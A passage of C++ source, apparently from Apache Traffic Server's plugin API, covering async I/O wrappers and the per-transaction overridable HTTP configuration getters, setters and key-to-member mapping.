pAIO->aiocb.aio_nbytes = buffSize;
pAIO->aiocb.aio_buf = buf;
pAIO->action = pCont;
pAIO->thread = pCont->mutex->thread_holding;
if (ink_aio_read(pAIO, 1) == 1) {
return TS_SUCCESS;
}
return TS_ERROR;
}
char *
TSAIOBufGet(TSAIOCallback data)
{
AIOCallback *pAIO = (AIOCallback *)data;
return (char *)pAIO->aiocb.aio_buf;
}
int
TSAIONBytesGet(TSAIOCallback data)
{
AIOCallback *pAIO = (AIOCallback *)data;
return (int)pAIO->aio_result;
}
TSReturnCode
TSAIOWrite(int fd, off_t offset, char *buf, const size_t bufSize, TSCont contp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
Continuation *pCont = (Continuation *)contp;
AIOCallback *pAIO = new_AIOCallback();
// TODO: Might be able to remove this when allocations can never fail.
sdk_assert(sdk_sanity_check_null_ptr((void *)pAIO) == TS_SUCCESS);
pAIO->aiocb.aio_fildes = fd;
pAIO->aiocb.aio_offset = offset;
pAIO->aiocb.aio_buf = buf;
pAIO->aiocb.aio_nbytes = bufSize;
pAIO->action = pCont;
pAIO->thread = pCont->mutex->thread_holding;
if (ink_aio_write(pAIO, 1) == 1) {
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSAIOThreadNumSet(int thread_num)
{
#if AIO_MODE == AIO_MODE_NATIVE
(void)thread_num;
return TS_SUCCESS;
#else
if (ink_aio_thread_num_set(thread_num)) {
return TS_SUCCESS;
}
return TS_ERROR;
#endif
}
void
TSRecordDump(int rec_type, TSRecordDumpCb callback, void *edata)
{
RecDumpRecords((RecT)rec_type, (RecDumpEntryCb)callback, edata);
}
/* ability to skip the remap phase of the State Machine
this only really makes sense in TS_HTTP_READ_REQUEST_HDR_HOOK
*/
void
TSSkipRemappingSet(TSHttpTxn txnp, int flag)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
sm->t_state.api_skip_all_remapping = (flag != 0);
}
/* These are the default converter function sets for management data types. If those are used the
* proper converters can be determined here. For other types the converters must be explicitly
* specified.
*
* The purpose of these are to allow configuration elements to not be management types but more
* natural types (e.g., an enumeration can be the actual enumeration, not an @c MgmtInt that needs
* frequent casting). In effect the converter does the casting for the plugin API, isolating that
* to this API handling, with the rest of the code base using the natural types.
*/
/// Unhandled API conversions.
/// Because the code around the specially handled types still uses this in the default case,
/// it must compile for those cases. To indicate unhandled, return @c nullptr for @a conv.
/// @internal This should be a temporary state, eventually the other cases should be handled
/// via specializations here.
/// @internal C++ note - THIS MUST BE FIRST IN THE DECLARATIONS or it might be falsely used.
template <typename T>
inline void *
_memberp_to_generic(T *ptr, MgmtConverter const *&conv)
{
conv = nullptr;
return ptr;
}
/// API conversion for @c MgmtInt, identify conversion as integer.
inline void *
_memberp_to_generic(MgmtInt *ptr, MgmtConverter const *&conv)
{
static const MgmtConverter converter([](const void *data) -> MgmtInt { return *static_cast<const MgmtInt *>(data); },
[](void *data, MgmtInt i) -> void { *static_cast<MgmtInt *>(data) = i; });
conv = &converter;
return ptr;
}
/// API conversion for @c MgmtByte, handles integer / byte size differences.
inline void *
_memberp_to_generic(MgmtByte *ptr, MgmtConverter const *&conv)
{
static const MgmtConverter converter{[](const void *data) -> MgmtInt { return *static_cast<const MgmtByte *>(data); },
[](void *data, MgmtInt i) -> void { *static_cast<MgmtByte *>(data) = i; }};
conv = &converter;
return ptr;
}
/// API conversion for @c MgmtFloat, identity conversion as float.
inline void *
_memberp_to_generic(MgmtFloat *ptr, MgmtConverter const *&conv)
{
static const MgmtConverter converter{[](const void *data) -> MgmtFloat { return *static_cast<const MgmtFloat *>(data); },
[](void *data, MgmtFloat f) -> void { *static_cast<MgmtFloat *>(data) = f; }};
conv = &converter;
return ptr;
}
/// API conversion for arbitrary enum.
/// Handle casting to and from the enum type @a E.
template <typename E>
inline auto
_memberp_to_generic(MgmtFloat *ptr, MgmtConverter const *&conv) -> typename std::enable_if<std::is_enum<E>::value, void *>::type
{
static const MgmtConverter converter{
[](const void *data) -> MgmtInt { return static_cast<MgmtInt>(*static_cast<const E *>(data)); },
[](void *data, MgmtInt i) -> void { *static_cast<E *>(data) = static_cast<E>(i); }};
conv = &converter;
return ptr;
}
// Little helper function to find the struct member
static void *
_conf_to_memberp(TSOverridableConfigKey conf, OverridableHttpConfigParams *overridableHttpConfig, MgmtConverter const *&conv)
{
void *ret = nullptr;
conv = nullptr;
switch (conf) {
case TS_CONFIG_URL_REMAP_PRISTINE_HOST_HDR:
ret = _memberp_to_generic(&overridableHttpConfig->maintain_pristine_host_hdr, conv);
break;
case TS_CONFIG_HTTP_CHUNKING_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->chunking_enabled, conv);
break;
case TS_CONFIG_HTTP_NEGATIVE_CACHING_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->negative_caching_enabled, conv);
break;
case TS_CONFIG_HTTP_NEGATIVE_CACHING_LIFETIME:
ret = _memberp_to_generic(&overridableHttpConfig->negative_caching_lifetime, conv);
break;
case TS_CONFIG_HTTP_CACHE_WHEN_TO_REVALIDATE:
ret = _memberp_to_generic(&overridableHttpConfig->cache_when_to_revalidate, conv);
break;
case TS_CONFIG_HTTP_KEEP_ALIVE_ENABLED_IN:
ret = _memberp_to_generic(&overridableHttpConfig->keep_alive_enabled_in, conv);
break;
case TS_CONFIG_HTTP_KEEP_ALIVE_ENABLED_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->keep_alive_enabled_out, conv);
break;
case TS_CONFIG_HTTP_KEEP_ALIVE_POST_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->keep_alive_post_out, conv);
break;
case TS_CONFIG_HTTP_SERVER_SESSION_SHARING_MATCH:
ret = _memberp_to_generic(&overridableHttpConfig->server_session_sharing_match, conv);
break;
case TS_CONFIG_NET_SOCK_RECV_BUFFER_SIZE_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->sock_recv_buffer_size_out, conv);
break;
case TS_CONFIG_NET_SOCK_SEND_BUFFER_SIZE_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->sock_send_buffer_size_out, conv);
break;
case TS_CONFIG_NET_SOCK_OPTION_FLAG_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->sock_option_flag_out, conv);
break;
case TS_CONFIG_HTTP_FORWARD_PROXY_AUTH_TO_PARENT:
ret = _memberp_to_generic(&overridableHttpConfig->fwd_proxy_auth_to_parent, conv);
break;
case TS_CONFIG_HTTP_ANONYMIZE_REMOVE_FROM:
ret = _memberp_to_generic(&overridableHttpConfig->anonymize_remove_from, conv);
break;
case TS_CONFIG_HTTP_ANONYMIZE_REMOVE_REFERER:
ret = _memberp_to_generic(&overridableHttpConfig->anonymize_remove_referer, conv);
break;
case TS_CONFIG_HTTP_ANONYMIZE_REMOVE_USER_AGENT:
ret = _memberp_to_generic(&overridableHttpConfig->anonymize_remove_user_agent, conv);
break;
case TS_CONFIG_HTTP_ANONYMIZE_REMOVE_COOKIE:
ret = _memberp_to_generic(&overridableHttpConfig->anonymize_remove_cookie, conv);
break;
case TS_CONFIG_HTTP_ANONYMIZE_REMOVE_CLIENT_IP:
ret = _memberp_to_generic(&overridableHttpConfig->anonymize_remove_client_ip, conv);
break;
case TS_CONFIG_HTTP_ANONYMIZE_INSERT_CLIENT_IP:
ret = _memberp_to_generic(&overridableHttpConfig->anonymize_insert_client_ip, conv);
break;
case TS_CONFIG_HTTP_RESPONSE_SERVER_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->proxy_response_server_enabled, conv);
break;
case TS_CONFIG_HTTP_INSERT_SQUID_X_FORWARDED_FOR:
ret = _memberp_to_generic(&overridableHttpConfig->insert_squid_x_forwarded_for, conv);
break;
case TS_CONFIG_HTTP_INSERT_FORWARDED:
ret = _memberp_to_generic(&overridableHttpConfig->insert_forwarded, conv);
break;
case TS_CONFIG_HTTP_SEND_HTTP11_REQUESTS:
ret = _memberp_to_generic(&overridableHttpConfig->send_http11_requests, conv);
break;
case TS_CONFIG_HTTP_CACHE_HTTP:
ret = _memberp_to_generic(&overridableHttpConfig->cache_http, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_CLIENT_NO_CACHE:
ret = _memberp_to_generic(&overridableHttpConfig->cache_ignore_client_no_cache, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_CLIENT_CC_MAX_AGE:
ret = _memberp_to_generic(&overridableHttpConfig->cache_ignore_client_cc_max_age, conv);
break;
case TS_CONFIG_HTTP_CACHE_IMS_ON_CLIENT_NO_CACHE:
ret = _memberp_to_generic(&overridableHttpConfig->cache_ims_on_client_no_cache, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_SERVER_NO_CACHE:
ret = _memberp_to_generic(&overridableHttpConfig->cache_ignore_server_no_cache, conv);
break;
case TS_CONFIG_HTTP_CACHE_CACHE_RESPONSES_TO_COOKIES:
ret = _memberp_to_generic(&overridableHttpConfig->cache_responses_to_cookies, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_AUTHENTICATION:
ret = _memberp_to_generic(&overridableHttpConfig->cache_ignore_auth, conv);
break;
case TS_CONFIG_HTTP_CACHE_CACHE_URLS_THAT_LOOK_DYNAMIC:
ret = _memberp_to_generic(&overridableHttpConfig->cache_urls_that_look_dynamic, conv);
break;
case TS_CONFIG_HTTP_CACHE_REQUIRED_HEADERS:
ret = _memberp_to_generic(&overridableHttpConfig->cache_required_headers, conv);
break;
case TS_CONFIG_HTTP_INSERT_REQUEST_VIA_STR:
ret = _memberp_to_generic(&overridableHttpConfig->insert_request_via_string, conv);
break;
case TS_CONFIG_HTTP_INSERT_RESPONSE_VIA_STR:
ret = _memberp_to_generic(&overridableHttpConfig->insert_response_via_string, conv);
break;
case TS_CONFIG_HTTP_CACHE_HEURISTIC_MIN_LIFETIME:
ret = _memberp_to_generic(&overridableHttpConfig->cache_heuristic_min_lifetime, conv);
break;
case TS_CONFIG_HTTP_CACHE_HEURISTIC_MAX_LIFETIME:
ret = _memberp_to_generic(&overridableHttpConfig->cache_heuristic_max_lifetime, conv);
break;
case TS_CONFIG_HTTP_CACHE_GUARANTEED_MIN_LIFETIME:
ret = _memberp_to_generic(&overridableHttpConfig->cache_guaranteed_min_lifetime, conv);
break;
case TS_CONFIG_HTTP_CACHE_GUARANTEED_MAX_LIFETIME:
ret = _memberp_to_generic(&overridableHttpConfig->cache_guaranteed_max_lifetime, conv);
break;
case TS_CONFIG_HTTP_CACHE_MAX_STALE_AGE:
ret = _memberp_to_generic(&overridableHttpConfig->cache_max_stale_age, conv);
break;
case TS_CONFIG_HTTP_KEEP_ALIVE_NO_ACTIVITY_TIMEOUT_IN:
ret = _memberp_to_generic(&overridableHttpConfig->keep_alive_no_activity_timeout_in, conv);
break;
case TS_CONFIG_HTTP_KEEP_ALIVE_NO_ACTIVITY_TIMEOUT_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->keep_alive_no_activity_timeout_out, conv);
break;
case TS_CONFIG_HTTP_TRANSACTION_NO_ACTIVITY_TIMEOUT_IN:
ret = _memberp_to_generic(&overridableHttpConfig->transaction_no_activity_timeout_in, conv);
break;
case TS_CONFIG_HTTP_TRANSACTION_NO_ACTIVITY_TIMEOUT_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->transaction_no_activity_timeout_out, conv);
break;
case TS_CONFIG_HTTP_TRANSACTION_ACTIVE_TIMEOUT_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->transaction_active_timeout_out, conv);
break;
case TS_CONFIG_HTTP_CONNECT_ATTEMPTS_MAX_RETRIES:
ret = _memberp_to_generic(&overridableHttpConfig->connect_attempts_max_retries, conv);
break;
case TS_CONFIG_HTTP_CONNECT_ATTEMPTS_MAX_RETRIES_DEAD_SERVER:
ret = _memberp_to_generic(&overridableHttpConfig->connect_attempts_max_retries_dead_server, conv);
break;
case TS_CONFIG_HTTP_CONNECT_ATTEMPTS_RR_RETRIES:
ret = _memberp_to_generic(&overridableHttpConfig->connect_attempts_rr_retries, conv);
break;
case TS_CONFIG_HTTP_CONNECT_ATTEMPTS_TIMEOUT:
ret = _memberp_to_generic(&overridableHttpConfig->connect_attempts_timeout, conv);
break;
case TS_CONFIG_HTTP_POST_CONNECT_ATTEMPTS_TIMEOUT:
ret = _memberp_to_generic(&overridableHttpConfig->post_connect_attempts_timeout, conv);
break;
case TS_CONFIG_HTTP_DOWN_SERVER_CACHE_TIME:
ret = _memberp_to_generic(&overridableHttpConfig->down_server_timeout, conv);
break;
case TS_CONFIG_HTTP_DOWN_SERVER_ABORT_THRESHOLD:
ret = _memberp_to_generic(&overridableHttpConfig->client_abort_threshold, conv);
break;
case TS_CONFIG_HTTP_DOC_IN_CACHE_SKIP_DNS:
ret = _memberp_to_generic(&overridableHttpConfig->doc_in_cache_skip_dns, conv);
break;
case TS_CONFIG_HTTP_BACKGROUND_FILL_ACTIVE_TIMEOUT:
ret = _memberp_to_generic(&overridableHttpConfig->background_fill_active_timeout, conv);
break;
case TS_CONFIG_HTTP_RESPONSE_SERVER_STR:
ret = _memberp_to_generic(&overridableHttpConfig->proxy_response_server_string, conv);
break;
case TS_CONFIG_HTTP_CACHE_HEURISTIC_LM_FACTOR:
ret = _memberp_to_generic(&overridableHttpConfig->cache_heuristic_lm_factor, conv);
break;
case TS_CONFIG_HTTP_BACKGROUND_FILL_COMPLETED_THRESHOLD:
ret = _memberp_to_generic(&overridableHttpConfig->background_fill_threshold, conv);
break;
case TS_CONFIG_NET_SOCK_PACKET_MARK_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->sock_packet_mark_out, conv);
break;
case TS_CONFIG_NET_SOCK_PACKET_TOS_OUT:
ret = _memberp_to_generic(&overridableHttpConfig->sock_packet_tos_out, conv);
break;
case TS_CONFIG_HTTP_INSERT_AGE_IN_RESPONSE:
ret = _memberp_to_generic(&overridableHttpConfig->insert_age_in_response, conv);
break;
case TS_CONFIG_HTTP_CHUNKING_SIZE:
ret = _memberp_to_generic(&overridableHttpConfig->http_chunking_size, conv);
break;
case TS_CONFIG_HTTP_FLOW_CONTROL_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->flow_control_enabled, conv);
break;
case TS_CONFIG_HTTP_FLOW_CONTROL_LOW_WATER_MARK:
ret = _memberp_to_generic(&overridableHttpConfig->flow_low_water_mark, conv);
break;
case TS_CONFIG_HTTP_FLOW_CONTROL_HIGH_WATER_MARK:
ret = _memberp_to_generic(&overridableHttpConfig->flow_high_water_mark, conv);
break;
case TS_CONFIG_HTTP_CACHE_RANGE_LOOKUP:
ret = _memberp_to_generic(&overridableHttpConfig->cache_range_lookup, conv);
break;
case TS_CONFIG_HTTP_NORMALIZE_AE:
ret = _memberp_to_generic(&overridableHttpConfig->normalize_ae, conv);
break;
case TS_CONFIG_HTTP_DEFAULT_BUFFER_SIZE:
ret = _memberp_to_generic(&overridableHttpConfig->default_buffer_size_index, conv);
break;
case TS_CONFIG_HTTP_DEFAULT_BUFFER_WATER_MARK:
ret = _memberp_to_generic(&overridableHttpConfig->default_buffer_water_mark, conv);
break;
case TS_CONFIG_HTTP_REQUEST_HEADER_MAX_SIZE:
ret = _memberp_to_generic(&overridableHttpConfig->request_hdr_max_size, conv);
break;
case TS_CONFIG_HTTP_RESPONSE_HEADER_MAX_SIZE:
ret = _memberp_to_generic(&overridableHttpConfig->response_hdr_max_size, conv);
break;
case TS_CONFIG_HTTP_NEGATIVE_REVALIDATING_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->negative_revalidating_enabled, conv);
break;
case TS_CONFIG_HTTP_NEGATIVE_REVALIDATING_LIFETIME:
ret = _memberp_to_generic(&overridableHttpConfig->negative_revalidating_lifetime, conv);
break;
case TS_CONFIG_SSL_HSTS_MAX_AGE:
ret = _memberp_to_generic(&overridableHttpConfig->proxy_response_hsts_max_age, conv);
break;
case TS_CONFIG_SSL_HSTS_INCLUDE_SUBDOMAINS:
ret = _memberp_to_generic(&overridableHttpConfig->proxy_response_hsts_include_subdomains, conv);
break;
case TS_CONFIG_HTTP_CACHE_OPEN_READ_RETRY_TIME:
ret = _memberp_to_generic(&overridableHttpConfig->cache_open_read_retry_time, conv);
break;
case TS_CONFIG_HTTP_CACHE_MAX_OPEN_READ_RETRIES:
ret = _memberp_to_generic(&overridableHttpConfig->max_cache_open_read_retries, conv);
break;
case TS_CONFIG_HTTP_CACHE_RANGE_WRITE:
ret = _memberp_to_generic(&overridableHttpConfig->cache_range_write, conv);
break;
case TS_CONFIG_HTTP_POST_CHECK_CONTENT_LENGTH_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->post_check_content_length_enabled, conv);
break;
case TS_CONFIG_HTTP_REQUEST_BUFFER_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->request_buffer_enabled, conv);
break;
case TS_CONFIG_HTTP_GLOBAL_USER_AGENT_HEADER:
ret = _memberp_to_generic(&overridableHttpConfig->global_user_agent_header, conv);
break;
case TS_CONFIG_HTTP_AUTH_SERVER_SESSION_PRIVATE:
ret = _memberp_to_generic(&overridableHttpConfig->auth_server_session_private, conv);
break;
case TS_CONFIG_HTTP_SLOW_LOG_THRESHOLD:
ret = _memberp_to_generic(&overridableHttpConfig->slow_log_threshold, conv);
break;
case TS_CONFIG_HTTP_CACHE_GENERATION:
ret = _memberp_to_generic(&overridableHttpConfig->cache_generation_number, conv);
break;
case TS_CONFIG_BODY_FACTORY_TEMPLATE_BASE:
ret = _memberp_to_generic(&overridableHttpConfig->body_factory_template_base, conv);
break;
case TS_CONFIG_HTTP_CACHE_OPEN_WRITE_FAIL_ACTION:
ret = _memberp_to_generic(&overridableHttpConfig->cache_open_write_fail_action, conv);
break;
case TS_CONFIG_HTTP_NUMBER_OF_REDIRECTIONS:
ret = _memberp_to_generic(&overridableHttpConfig->number_of_redirections, conv);
break;
case TS_CONFIG_HTTP_CACHE_MAX_OPEN_WRITE_RETRIES:
ret = _memberp_to_generic(&overridableHttpConfig->max_cache_open_write_retries, conv);
break;
case TS_CONFIG_HTTP_REDIRECT_USE_ORIG_CACHE_KEY:
ret = _memberp_to_generic(&overridableHttpConfig->redirect_use_orig_cache_key, conv);
break;
case TS_CONFIG_HTTP_ATTACH_SERVER_SESSION_TO_CLIENT:
ret = _memberp_to_generic(&overridableHttpConfig->attach_server_session_to_client, conv);
break;
case TS_CONFIG_WEBSOCKET_NO_ACTIVITY_TIMEOUT:
ret = _memberp_to_generic(&overridableHttpConfig->websocket_inactive_timeout, conv);
break;
case TS_CONFIG_WEBSOCKET_ACTIVE_TIMEOUT:
ret = _memberp_to_generic(&overridableHttpConfig->websocket_active_timeout, conv);
break;
case TS_CONFIG_HTTP_UNCACHEABLE_REQUESTS_BYPASS_PARENT:
ret = _memberp_to_generic(&overridableHttpConfig->uncacheable_requests_bypass_parent, conv);
break;
case TS_CONFIG_HTTP_PARENT_PROXY_TOTAL_CONNECT_ATTEMPTS:
ret = _memberp_to_generic(&overridableHttpConfig->parent_connect_attempts, conv);
break;
case TS_CONFIG_HTTP_TRANSACTION_ACTIVE_TIMEOUT_IN:
ret = _memberp_to_generic(&overridableHttpConfig->transaction_active_timeout_in, conv);
break;
case TS_CONFIG_SRV_ENABLED:
ret = _memberp_to_generic(&overridableHttpConfig->srv_enabled, conv);
break;
case TS_CONFIG_HTTP_FORWARD_CONNECT_METHOD:
ret = _memberp_to_generic(&overridableHttpConfig->forward_connect_method, conv);
break;
case TS_CONFIG_SSL_CLIENT_VERIFY_SERVER:
ret = _memberp_to_generic(&overridableHttpConfig->ssl_client_verify_server, conv);
break;
case TS_CONFIG_SSL_CLIENT_VERIFY_SERVER_POLICY:
case TS_CONFIG_SSL_CLIENT_VERIFY_SERVER_PROPERTIES:
case TS_CONFIG_SSL_CLIENT_SNI_POLICY:
case TS_CONFIG_SSL_CLIENT_CERT_FILENAME:
case TS_CONFIG_SSL_CERT_FILEPATH:
case TS_CONFIG_SSL_CLIENT_PRIVATE_KEY_FILENAME:
case TS_CONFIG_SSL_CLIENT_CA_CERT_FILENAME:
// String, must be handled elsewhere
break;
case TS_CONFIG_PARENT_FAILURES_UPDATE_HOSTDB:
ret = _memberp_to_generic(&overridableHttpConfig->parent_failures_update_hostdb, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_ACCEPT_MISMATCH:
ret = _memberp_to_generic(&overridableHttpConfig->ignore_accept_mismatch, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_ACCEPT_LANGUAGE_MISMATCH:
ret = _memberp_to_generic(&overridableHttpConfig->ignore_accept_language_mismatch, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_ACCEPT_ENCODING_MISMATCH:
ret = _memberp_to_generic(&overridableHttpConfig->ignore_accept_encoding_mismatch, conv);
break;
case TS_CONFIG_HTTP_CACHE_IGNORE_ACCEPT_CHARSET_MISMATCH:
ret = _memberp_to_generic(&overridableHttpConfig->ignore_accept_charset_mismatch, conv);
break;
case TS_CONFIG_HTTP_PARENT_PROXY_FAIL_THRESHOLD:
ret = _memberp_to_generic(&overridableHttpConfig->parent_fail_threshold, conv);
break;
case TS_CONFIG_HTTP_PARENT_PROXY_RETRY_TIME:
ret = _memberp_to_generic(&overridableHttpConfig->parent_retry_time, conv);
break;
case TS_CONFIG_HTTP_PER_PARENT_CONNECT_ATTEMPTS:
ret = _memberp_to_generic(&overridableHttpConfig->per_parent_connect_attempts, conv);
break;
case TS_CONFIG_HTTP_PARENT_CONNECT_ATTEMPT_TIMEOUT:
ret = _memberp_to_generic(&overridableHttpConfig->parent_connect_timeout, conv);
break;
case TS_CONFIG_HTTP_ALLOW_MULTI_RANGE:
ret = _memberp_to_generic(&overridableHttpConfig->allow_multi_range, conv);
break;
case TS_CONFIG_HTTP_ALLOW_HALF_OPEN:
ret = _memberp_to_generic(&overridableHttpConfig->allow_half_open, conv);
break;
case TS_CONFIG_HTTP_PER_SERVER_CONNECTION_MAX:
ret = &overridableHttpConfig->outbound_conntrack.max;
conv = &OutboundConnTrack::MAX_CONV;
break;
case TS_CONFIG_HTTP_SERVER_MIN_KEEP_ALIVE_CONNS:
ret = &overridableHttpConfig->outbound_conntrack.min;
conv = &OutboundConnTrack::MIN_CONV;
break;
case TS_CONFIG_HTTP_PER_SERVER_CONNECTION_MATCH:
ret = &overridableHttpConfig->outbound_conntrack.match;
conv = &OutboundConnTrack::MATCH_CONV;
break;
// This helps avoiding compiler warnings, yet detect unhandled enum members.
case TS_CONFIG_NULL:
case TS_CONFIG_LAST_ENTRY:
break;
}
return ret;
}
// 2nd little helper function to find the struct member for getting.
static const void *
_conf_to_memberp(TSOverridableConfigKey conf, const OverridableHttpConfigParams *overridableHttpConfig, MgmtConverter const *&conv)
{
return _conf_to_memberp(conf, const_cast<OverridableHttpConfigParams *>(overridableHttpConfig), conv);
}
/* APIs to manipulate the overridable configuration options.
*/
TSReturnCode
TSHttpTxnConfigIntSet(TSHttpTxn txnp, TSOverridableConfigKey conf, TSMgmtInt value)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *s = reinterpret_cast<HttpSM *>(txnp);
MgmtConverter const *conv;
s->t_state.setup_per_txn_configs();
void *dest = _conf_to_memberp(conf, &(s->t_state.my_txn_conf()), conv);
if (!dest || !conv->store_int) {
return TS_ERROR;
}
conv->store_int(dest, value);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnConfigIntGet(TSHttpTxn txnp, TSOverridableConfigKey conf, TSMgmtInt *value)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value) == TS_SUCCESS);
HttpSM *s = reinterpret_cast<HttpSM *>(txnp);
MgmtConverter const *conv;
const void *src = _conf_to_memberp(conf, s->t_state.txn_conf, conv);
if (!src || !conv->load_int) {
return TS_ERROR;
}
*value = conv->load_int(src);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnConfigFloatSet(TSHttpTxn txnp, TSOverridableConfigKey conf, TSMgmtFloat value)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *s = reinterpret_cast<HttpSM *>(txnp);
MgmtConverter const *conv;
s->t_state.setup_per_txn_configs();
void *dest = _conf_to_memberp(conf, &(s->t_state.my_txn_conf()), conv);
if (!dest || !conv->store_float) {
return TS_ERROR;
}
conv->store_float(dest, value);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnConfigFloatGet(TSHttpTxn txnp, TSOverridableConfigKey conf, TSMgmtFloat *value)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr(static_cast<void *>(value)) == TS_SUCCESS);
MgmtConverter const *conv;
const void *src = _conf_to_memberp(conf, reinterpret_cast<HttpSM *>(txnp)->t_state.txn_conf, conv);
if (!src || !conv->load_float) {
return TS_ERROR;
}
*value = conv->load_float(src);
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnConfigStringSet(TSHttpTxn txnp, TSOverridableConfigKey conf, const char *value, int length)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
if (length == -1) {
length = strlen(value);
}
HttpSM *s = reinterpret_cast<HttpSM *>(txnp);
s->t_state.setup_per_txn_configs();
switch (conf) {
case TS_CONFIG_HTTP_RESPONSE_SERVER_STR:
if (value && length > 0) {
s->t_state.my_txn_conf().proxy_response_server_string = const_cast<char *>(value); // The "core" likes non-const char*
s->t_state.my_txn_conf().proxy_response_server_string_len = length;
} else {
s->t_state.my_txn_conf().proxy_response_server_string = nullptr;
s->t_state.my_txn_conf().proxy_response_server_string_len = 0;
}
break;
case TS_CONFIG_HTTP_GLOBAL_USER_AGENT_HEADER:
if (value && length > 0) {
s->t_state.my_txn_conf().global_user_agent_header = const_cast<char *>(value); // The "core" likes non-const char*
s->t_state.my_txn_conf().global_user_agent_header_size = length;
} else {
s->t_state.my_txn_conf().global_user_agent_header = nullptr;
s->t_state.my_txn_conf().global_user_agent_header_size = 0;
}
break;
case TS_CONFIG_BODY_FACTORY_TEMPLATE_BASE:
if (value && length > 0) {
s->t_state.my_txn_conf().body_factory_template_base = const_cast<char *>(value);
s->t_state.my_txn_conf().body_factory_template_base_len = length;
} else {
s->t_state.my_txn_conf().body_factory_template_base = nullptr;
s->t_state.my_txn_conf().body_factory_template_base_len = 0;
}
break;
case TS_CONFIG_HTTP_INSERT_FORWARDED:
if (value && length > 0) {
ts::LocalBufferWriter<1024> error;
HttpForwarded::OptionBitSet bs = HttpForwarded::optStrToBitset(std::string_view(value, length), error);
if (!error.size()) {
s->t_state.my_txn_conf().insert_forwarded = bs;
} else {
Error("HTTP %.*s", static_cast<int>(error.size()), error.data());
}
}
break;
case TS_CONFIG_SSL_CLIENT_VERIFY_SERVER_POLICY:
if (value && length > 0) {
s->t_state.my_txn_conf().ssl_client_verify_server_policy = const_cast<char *>(value);
}
break;
case TS_CONFIG_SSL_CLIENT_VERIFY_SERVER_PROPERTIES:
if (value && length > 0) {
s->t_state.my_txn_conf().ssl_client_verify_server_properties = const_cast<char *>(value);
}
break;
case TS_CONFIG_SSL_CLIENT_SNI_POLICY:
if (value && length > 0) {
s->t_state.my_txn_conf().ssl_client_sni_policy = const_cast<char *>(value);
}
break;
case TS_CONFIG_SSL_CLIENT_CERT_FILENAME:
if (value && length > 0) {
s->t_state.my_txn_conf().ssl_client_cert_filename = const_cast<char *>(value);
}
break;
case TS_CONFIG_SSL_CLIENT_PRIVATE_KEY_FILENAME:
if (value && length > 0) {
s->t_state.my_txn_conf().ssl_client_private_key_filename = const_cast<char *>(value);
}
break;
case TS_CONFIG_SSL_CLIENT_CA_CERT_FILENAME:
if (value && length > 0) {
s->t_state.my_txn_conf().ssl_client_ca_cert_filename = const_cast<char *>(value);
}
break;
case TS_CONFIG_SSL_CERT_FILEPATH:
/* noop */
break;
default: {
MgmtConverter const *conv;
void *dest = _conf_to_memberp(conf, &(s->t_state.my_txn_conf()), conv);
if (dest != nullptr && conv != nullptr && conv->store_string) {
conv->store_string(dest, std::string_view(value, length));
} else {
return TS_ERROR;
}
break;
}
}
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnConfigStringGet(TSHttpTxn txnp, TSOverridableConfigKey conf, const char **value, int *length)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void **)value) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
switch (conf) {
case TS_CONFIG_HTTP_RESPONSE_SERVER_STR:
*value = sm->t_state.txn_conf->proxy_response_server_string;
*length = sm->t_state.txn_conf->proxy_response_server_string_len;
break;
case TS_CONFIG_HTTP_GLOBAL_USER_AGENT_HEADER:
*value = sm->t_state.txn_conf->global_user_agent_header;
*length = sm->t_state.txn_conf->global_user_agent_header_size;
break;
case TS_CONFIG_BODY_FACTORY_TEMPLATE_BASE:
*value = sm->t_state.txn_conf->body_factory_template_base;
*length = sm->t_state.txn_conf->body_factory_template_base_len;
break;
default: {
MgmtConverter const *conv;
const void *src = _conf_to_memberp(conf, sm->t_state.txn_conf, conv);
if (src != nullptr && conv != nullptr && conv->load_string) {
auto sv = conv->load_string(src);
*value = sv.data();
*length = sv.size();
} else {
return TS_ERROR;
}
break;
}
}
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnConfigFind(const char *name, int length, TSOverridableConfigKey *conf, TSRecordDataType *type)
{
sdk_assert(sdk_sanity_check_null_ptr(name) == TS_SUCCESS);
